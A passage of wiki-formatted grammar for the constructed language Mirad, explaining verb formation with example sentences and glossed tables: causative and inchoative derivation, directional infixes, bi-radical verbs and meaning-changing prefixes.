::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
::* '''byexer'''....''to beat'' → '''ikbyexer'''....''to beat up''
::* '''agser'''....''to grow'' → '''ikagser'''....''to grow up''

=== Making Verbs Continuative with '''je-''' ===
: Verbs can be given a continuative nuance with the addition of the prefix '''je-''':
::* '''daler'''....''to talk'' → '''jedalar'''....''to go on talking, to blabber''
::* '''tejer'''....''to live'' → '''jetejer'''....''to go on living, to survive''
::* '''yexer'''....''to work'' → '''jeyexer'''....''to go on working, to keep working''
::* '''teaxer'''....''to look'' → '''jeteaxer'''....''to watch''
::* '''teexer'''....''to listen'' → '''jeteexer'''....''to keep listening, to pay attention''
::* '''duler'''....''to insist'' → '''jeduler'''....''to nag''

=== Making Verbs Inchoative with '''ij-''' ===
: Verbs can be given an inchoative nuance with the addition of the prefix '''ij-''':
::* '''texer'''....''to think'' → '''ijtexer'''....''to start to think''
::* '''ifier'''....''to enjoy'' → '''ijifier'''....''to start liking''
::* '''tyer'''....''to know'' → '''ijtyer'''....''to get to know''

=== Making Verbs Terminative with '''uj-''' ===
: Verbs can be given a terminative nuance with the addition of the prefix '''uj-''':
::* '''telier'''....''to eat'' → '''ujtelier'''....''to finish eating''
::* '''dyeer'''....''to read'' → '''ujdyeer'''....''to finish reading''
::* '''ufteuder'''....''to complain'' → '''ujufteuder'''....''to quit carping''

=== Giving Verbs a Nuance of Pleasure with '''if-''' ===
::* '''tyoper'''....''to walk'' → '''iftyoper'''....''to stroll''
::* '''tuyuxer'''....''to finger'' → '''iftuyuxer'''....''to tickle''
::* '''teaxer'''....''to look'' → '''ifteaxer'''....''to ogle (voyeuristically)''
::* '''piper'''....''to sail'' → '''ifpiper'''....''to go cruising''
::* '''teuder'''....''to shout'' → '''ifteuder'''....''to laugh''
::* '''eker'''....''to play'' → '''ifeker'''....''to have fun''

=== Giving Verbs a Nuance of Displeasure with '''uf-''' ===
::* '''tosier'''....''to feel'' → '''uftosier'''....''to get angry''
::* '''eker'''....''to play'' → '''ufeker'''....''to fight''
::* '''der'''....''to say'' → '''ufder'''....''to express displeasure''
::* '''aluer'''....''to exhale'' → '''ufaluer'''....''to huff''
::* '''daler'''....''to talk'' → '''ufdaler'''....''to rant''

=== Giving Verbs a Nuance of Prohibition with '''of-''' ===
::* '''bier'''....''to take'' → '''ofbier'''....''to steal''
::* '''deler'''....''to declare'' → '''ofdeler'''....''to ban''
::* '''yeper'''....''to enter'' → '''ofyeper'''....''to intrude, break in''
::* '''zeyper'''....''to cross'' → '''ofzeyper'''....''to transgress, poach''
::* '''gelxer'''....''to copy'' → '''ofgelxer'''....''to pirate, plagiarize''
::* '''bekuluer'''....''to administer medicine'' → '''ofbekuluer'''....''to dope''
::* '''nuxuer'''....''to pay'' → '''ofnuxuer'''....''to bribe, pay off, suborn''

=== Giving Verbs a Nuance of Holiness with '''fya-''' ===
::* '''bexler'''....''to keep'' → '''fyabexler'''....''to enshrine''
::* '''buer'''....''to give'' → '''fyabuer'''....''to sacrifice''
::* '''der'''....''to say'' → '''fyader'''....''to bless''
::* '''daler'''....''to speak'' → '''fyadaler'''....''to preach, sermonize''
::* '''diler'''....''to request'' → '''fyadiler'''....''to pray''
::* '''deuzer'''....''to sing'' → '''fyadeuzer'''....''to chant''
::* '''ifrer'''....''to love dearly'' → '''fyaifrer'''....''to worship, adore''
::* '''jader'''....''to predict'' → '''fyajader'''....''to prophesy''
::* '''miluer'''....''to sprinkle'' → '''fyamiluer'''....''to sprinkle with holy water''
::* '''ojvader'''....''to promise'' → '''fyaojvader'''....''to swear''
::* '''xeler'''....''to practice'' → '''fyaxeler'''....''to celebrate''
::* '''koser'''....''to hide'' → '''fyakoser'''....''to go on a retreat, go into hermitage''
::* '''teazer'''....''perform a show'' → '''fyateazer'''....''to perform a miracle''

=== Giving Verbs a Nuance of Profanity with '''fyo-''' ===
::* '''der'''....''to say'' → '''fyoder'''....''to curse''
::* '''diler'''....''to request'' → '''fyodiler'''....''to conjure''
::* '''tyezer'''....''to perform magic'' → '''fyotezer'''....''to engage in black magic''
::* '''xer'''....''to do'' → '''fyoxer'''....''to sin''
=== Expressing Good Actions with '''fi-''' ===
::* '''der'''....''to say'' → '''fider'''....''to praise''
::* '''fer'''....''to want'' → '''fifer'''....''to mean well''
::* '''xer'''....''to do'' → '''fixer'''....''to do well''
::* '''yaker'''....''to expect'' → '''fiyaker'''....''to hope''
::* '''yuxer'''....''to help'' → '''fiyuxer'''....''to benefit''
=== Expressing Bad Actions with '''fu-''' ===
::* '''yevder'''....''to judge'' → '''fuyevder'''....''to critique negatively''
::* '''fer'''....''to want'' → '''fufer'''....''to will ill''
::* '''der'''....''to say'' → '''fuder'''....''to badmouth''
::* '''napxer'''....''to arrange'' → '''funapxer'''....''to mess up''
::* '''yuxer'''....''to help'' → '''fuyuxer'''....''to abuse''

=== Expressing More Intense Actions with '''az-''' ===
::* '''yujber'''....''to close'' → '''&lt;u&gt;az&lt;/u&gt;yujber'''....''to lock''
::* '''der'''....''to say'' → '''&lt;u&gt;az&lt;/u&gt;der'''....''to emphasize''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
